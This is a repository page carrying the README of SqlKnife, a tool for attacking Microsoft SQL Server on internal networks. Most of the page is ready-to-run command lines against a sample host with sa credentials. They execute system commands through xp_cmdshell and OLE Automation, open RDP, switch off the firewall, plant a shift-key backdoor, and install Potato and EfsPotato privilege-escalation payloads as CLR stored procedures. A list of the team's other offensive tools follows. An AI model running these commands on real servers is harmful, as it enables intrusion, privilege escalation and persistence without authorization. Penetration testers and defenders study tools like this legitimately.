• Stars
    star
    415
  • Rank 103,732 (Top 3 %)
  • Language
    C++
  • Created about 3 years ago
  • Updated almost 3 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

适合在命令行中使用的轻巧的SQL Server数据库安全检测工具

SqlKnife

郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担。

0x01 介绍

作者:hl0rey

团队:0x727,未来一段时间将陆续开源工具,地址:https://github.com/0x727

定位:内网SQL Server数据库安全检测

语言:C++、C#

功能:在命令行下对SQL Server进行命令执行、提权等安全检测操作

0x02 安装

无其他额外依赖

0x03 效果展示

使用xp_cmshell执行命令

恢复xp_cmdshell

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --xpcmd --fix

Snipaste_2021-08-03_10-46-29

执行命令

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --xpcmd -c whoami

Snipaste_2021-08-03_10-47-04

禁用xp_cmdshell

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --xpcmd --remove

Snipaste_2021-08-03_10-47-56

使用Ole Automation Procedures执行命令

无回显,不好用

恢复Ole Automation Procedures

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --oacreate --fix

Snipaste_2021-08-03_10-55-46

执行程序

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --oacreate -c calc.exe

Snipaste_2021-08-03_10-55-46

Snipaste_2021-08-03_10-56-34

开RDP,关防火墙加规则(开RDP时自动加),劫持shift键

权限足够的前提下,基于注册表的操作

开启RDP

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --openrdp

Snipaste_2021-08-03_11-36-43

Snipaste_2021-08-03_11-36-57

关防火墙

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --disfw

(可能不好用,可能是因为注册表位置参考windows10的原因)

Snipaste_2021-08-03_11-42-58

劫持shift键

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --shift

Snipaste_2021-08-03_11-45-54

Snipaste_2021-08-03_11-29-11

PotatoInSQL

将土豆提权(--dbup)作为存储过程安装到数据库,然后调用。

安装.net3.5版本的potatoinsql

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --dbup --fix --3

Snipaste_2021-08-03_11-17-47

Snipaste_2021-08-03_11-18-02

利用土豆执行命令

SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --dbup -c whoami

Snipaste_2021-08-03_11-28-46

Snipaste_2021-08-03_11-29-11

EfsPotato

安装并执行命令

启用/还原配置功能

Snipaste_2021-08-03_11-29-35

做完操作之后把配置和CLR程序集清理掉。

--fix参数和--remove参数只涉及--xpcmd、--oacreate、--clrcmd、--clrdexec、--dbup

指定不同版本clr的payload

--3/--4 如果不加这个参数,默认是.net4版本的payload

0x04 使用方法

语法 功能
SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --xpcmd --fix 启用xp_cmdshell,其他fix类型功能都是这个格式
SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --xpcmd -c whoami 使用xp_cmdshell执行命令,其他命令执行功能也是这个格式
SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --xpcmd --remove 禁用xp_cmdshell,其他remove类型功能也是这个格式
SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --oacreate --fix 恢复Ole Automation Procedures
SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --oacreate -c calc.exe Ole Automation Procedures执行程序
SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --openrdp 开启RDP
SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --disfw 关闭防火墙
SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --shift 劫持shift键
SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --dbup --fix --3 安装.net3.5的甜土豆提权存储过程,如果安装.net4.0的话就是--4
SqlKnife.exe -H 192.168.49.143 -P 1433 -u sa -p admin@123 --dbup -c whoami 利用甜土豆执行命令
SqlKnife.exe -H 192.168.49.143 -u sa -p admin@123 --dbup2 --3 --fix 安装.net3.5的EfsPotato提权存储过程,如果安装.net4.0的话就是--4
SqlKnife.exe -H 192.168.49.143 -u sa -p admin@123 --dbup2 -c whoami 使用EfsPotato执行命令

0x06 实现原理

使用windows ADO连接SQL server数据库无需其他额外依赖,使用C#编写SQL CLR利用payload。

0x07 新增功能

2021.8.5 新加入EfsPotato,本质是zcgonvh的EfsPotato,感谢zcgonvh

0x08 反馈

SqlKnife 是一个免费且开源的项目,我们欢迎任何人为其开发和进步贡献力量。

  • 在使用过程中出现任何问题,可以通过 issues 来反馈。
  • Bug 的修复可以直接提交 Pull Request 到 dev 分支。
  • 如果是增加新的功能特性,请先创建一个 issue 并做简单描述以及大致的实现方法,提议被采纳后,就可以创建一个实现新特性的 Pull Request。
  • 欢迎对说明文档做出改善,帮助更多的人使用SqlKnife。
  • 贡献代码请提交 PR 至 dev 分支,master 分支仅用于发布稳定可用版本。

提醒:和项目相关的问题最好在 issues 中反馈,这样方便其他有类似问题的人可以快速查找解决方法,并且也避免了我们重复回答一些问题。

More Repositories

1

ShuiZe_0x727

信息收集自动化工具
Python
3,696
star
2

SpringBootExploit

项目是根据LandGrey/SpringBootVulExploit清单编写,目的hvv期间快速利用漏洞、降低漏洞利用门槛。
Java
1,787
star
3

ObserverWard

侦查守卫(ObserverWard)指纹识别工具Community web fingerprint identification tool
Rust
1,008
star
4

FingerprintHub

侦查守卫(ObserverWard)的指纹库
Rust
970
star
5

BypassPro

对权限绕过自动化bypass的burpsuite插件
Java
798
star
6

SchTask_0x727

创建隐藏计划任务,权限维持,Bypass AV
C#
510
star
7

ShuiYing_0x727

检测域环境内,域机器的本地管理组成员是否存在弱口令和通用口令,对域用户的权限分配以及域内委派查询
C++
331
star
8

Space_view

Space_view 是一款Hunter(鹰图平台)或者FOFA平台 资产展示的浏览器油猴插件
JavaScript
301
star
9

JNDIExploit

一款用于JNDI注入利用的工具,大量参考/引用了Rogue JNDI项目的代码,支持直接植入内存shell,并集成了常见的bypass 高版本JDK的方式,适用于与自动化工具配合使用。
Java
261
star
10

DropLabTools

一个垃圾利用工具,半自动发包机器
Java
227
star
11

MetasploitCoop_0x727

基于msf的后渗透协作平台
215
star
12

BugRepoter_0x727

BugRepoter_0x727(自动化编写报告平台)根据安全团队定制化协同管理项目安全,可快速查找历史漏洞,批量导出报告。
PHP
207
star
13

CloneX_0x727

进行克隆用户、添加用户等账户防护安全检测的轻巧工具
C++
171
star
14

AggressorScripts_0x727

Cobalt Strike AggressorScripts For Red Team
PowerShell
149
star
15

UserRegEnum_0x727

域内普通域用户权限查找域内所有计算机上登录的用户
C++
141
star
16

CloudSandbox

收集云沙箱上线C2的ip,如微X、奇XX、3X0、virustX等
120
star
17

MetasploitModules_0x727

Metasploit Modules Development
Ruby
70
star
18

MetasploitCoop-Backend

基于msf的后渗透协作平台 -- 后端部分
Python
38
star
19

n2shell

解决使用默认密码webshell的问题
Python
23
star
20

MetasploitCoop-Frontend

基于msf的后渗透协作平台 -- 前端部分
Vue
20
star
21

usefull-elevation-of-privilege

Usefull escalation of privilege Windows
3
star
22

.github

2
star